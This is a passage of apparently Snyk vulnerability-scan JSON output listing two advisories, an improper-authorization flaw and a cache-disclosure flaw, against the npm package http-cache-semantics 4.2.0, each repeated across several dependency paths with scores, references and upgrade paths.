8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmteam@8.0.2", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "npm-profile@12.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "npm-profile@12.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@12.0.0", "@sigstore/tuf@5.0.0", "tuf-js@6.0.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@12.0.0", "@sigstore/tuf@5.0.0", "tuf-js@6.0.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": 